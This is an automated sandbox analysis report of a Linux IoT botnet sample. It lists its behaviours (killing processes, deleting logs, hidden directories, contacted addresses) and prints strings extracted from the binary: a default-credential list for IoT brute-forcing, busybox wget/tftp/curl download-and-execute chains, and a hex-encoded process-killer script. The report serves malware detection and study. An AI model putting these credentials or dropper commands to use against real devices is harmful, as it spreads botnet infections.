Linux Analysis Report
la.bot.sparc.elf

Overview

General Information

Sample name: la.bot.sparc.elf
Analysis ID: 1562372
MD5: ba4b72dc8c341cdc9ff224055df850a9
SHA1: 9962f5a000b227f75af1bd3175359a5855e73857
SHA256: 5d7178d8546aa8ba09f407debe1a8263d3cfb457a772993042b9e06a2f48f3f8
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Sample tries to kill multiple processes (SIGKILL)
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Found strings indicative of a multi-platform dropper
Source: la.bot.sparc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sparc.elf String: /proc//proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//mountinfo
Source: la.bot.sparc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample listens on a socket
Source: /tmp/la.bot.sparc.elf (PID: 5548) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 88.80.242.61
Source: unknown TCP traffic detected without corresponding DNS query: 1.41.240.163
Source: unknown TCP traffic detected without corresponding DNS query: 113.217.181.98
Source: unknown TCP traffic detected without corresponding DNS query: 4.131.11.177
Source: unknown TCP traffic detected without corresponding DNS query: 80.40.81.254
Source: unknown TCP traffic detected without corresponding DNS query: 158.202.145.7
Source: unknown TCP traffic detected without corresponding DNS query: 94.180.185.202
Source: unknown TCP traffic detected without corresponding DNS query: 101.75.29.36
Source: unknown TCP traffic detected without corresponding DNS query: 31.107.39.72
Source: unknown TCP traffic detected without corresponding DNS query: 200.89.95.118
Source: unknown TCP traffic detected without corresponding DNS query: 33.165.6.1
Source: unknown TCP traffic detected without corresponding DNS query: 54.157.153.187
Source: unknown TCP traffic detected without corresponding DNS query: 161.113.179.131
Source: unknown TCP traffic detected without corresponding DNS query: 73.15.26.164
Source: unknown TCP traffic detected without corresponding DNS query: 64.175.209.207
Source: unknown TCP traffic detected without corresponding DNS query: 196.112.31.31
Source: unknown TCP traffic detected without corresponding DNS query: 28.1.23.115
Source: unknown TCP traffic detected without corresponding DNS query: 81.167.113.108
Source: unknown TCP traffic detected without corresponding DNS query: 39.69.36.213
Source: unknown TCP traffic detected without corresponding DNS query: 121.33.118.70
Source: unknown TCP traffic detected without corresponding DNS query: 53.121.151.147
Source: unknown TCP traffic detected without corresponding DNS query: 185.161.104.213
Source: unknown TCP traffic detected without corresponding DNS query: 157.254.186.57
Source: unknown TCP traffic detected without corresponding DNS query: 21.154.73.191
Source: unknown TCP traffic detected without corresponding DNS query: 41.243.207.144
Source: unknown TCP traffic detected without corresponding DNS query: 160.78.93.88
Source: unknown TCP traffic detected without corresponding DNS query: 112.68.147.97
Source: unknown TCP traffic detected without corresponding DNS query: 121.51.4.72
Source: unknown TCP traffic detected without corresponding DNS query: 121.138.89.249
Source: unknown TCP traffic detected without corresponding DNS query: 92.170.162.100
Source: unknown TCP traffic detected without corresponding DNS query: 175.193.250.204
Source: unknown TCP traffic detected without corresponding DNS query: 201.129.91.147
Source: unknown TCP traffic detected without corresponding DNS query: 149.191.138.210
Source: unknown TCP traffic detected without corresponding DNS query: 69.96.2.179
Source: unknown TCP traffic detected without corresponding DNS query: 72.230.249.235
Source: unknown TCP traffic detected without corresponding DNS query: 67.204.173.116
Source: unknown TCP traffic detected without corresponding DNS query: 194.185.55.242
Source: unknown TCP traffic detected without corresponding DNS query: 37.211.250.205
Source: unknown TCP traffic detected without corresponding DNS query: 134.180.68.14
Source: unknown TCP traffic detected without corresponding DNS query: 123.24.142.7
Source: unknown TCP traffic detected without corresponding DNS query: 90.26.63.223
Source: unknown TCP traffic detected without corresponding DNS query: 185.154.217.254
Source: unknown TCP traffic detected without corresponding DNS query: 218.189.150.183
Source: unknown TCP traffic detected without corresponding DNS query: 21.195.53.93
Source: unknown TCP traffic detected without corresponding DNS query: 48.37.200.81
Source: unknown TCP traffic detected without corresponding DNS query: 185.149.251.62
Source: unknown TCP traffic detected without corresponding DNS query: 88.80.242.61
Source: unknown TCP traffic detected without corresponding DNS query: 27.188.220.141
Source: unknown TCP traffic detected without corresponding DNS query: 1.41.240.163
Source: unknown TCP traffic detected without corresponding DNS query: 62.189.206.242
Source: la.bot.sparc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sparc.elf String found in binary or memory: http:///wget.sh

System Summary
barindex
Sample tries to kill multiple processes (SIGKILL)
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 933, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5615, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5616, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5617, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5618, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5619, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5620, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5621, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5622, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5623, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5624, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5625, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5626, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5627, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5628, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5629, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5630, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5631, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5632, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5637, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5650, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5678, result: no such process Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5682, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5695, result: no such process Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5702, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5724, result: no such process Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5727, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5732, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5734, result: successful Jump to behavior
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 933, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5615, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5616, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5617, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5618, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5619, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5620, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5621, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5622, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5623, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5624, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5625, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5626, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5627, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5628, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5629, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5630, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5631, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5632, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5637, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5650, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5678, result: no such process Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5682, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5695, result: no such process Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5702, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5724, result: no such process Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5727, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5732, result: successful Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) SIGKILL sent: pid: 5734, result: successful Jump to behavior
Source: classification engine Classification label: mal52.spre.evad.linELF@0/0@0/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.sparc.elf (PID: 5551) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.sparc.elf (PID: 5551) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5551) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5551) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5551) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5551) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5551) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5551) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5551) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5551) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5551) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/911/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/914/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/802/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/804/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/133/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/931/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/812/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/933/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/268/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/271/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/273/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/275/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/276/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/277/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/279/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/158/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/280/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/282/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/283/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/284/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 5550) File opened: /proc/285/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.sparc.elf (PID: 5551) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.sparc.elf (PID: 5548) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sparc.elf, 5548.1.00007ffef91b5000.00007ffef91d6000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/la.bot.sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sparc.elf
Source: la.bot.sparc.elf, 5548.1.00007f2d20035000.00007f2d2003c000.rw-.sdmp Binary or memory string: VMware
Source: la.bot.sparc.elf, 5548.1.000055714187a000.0000557141900000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 5548.1.000055714187a000.0000557141900000.rw-.sdmp Binary or memory string: AqU!/etc/qemu-binfmt/sparc
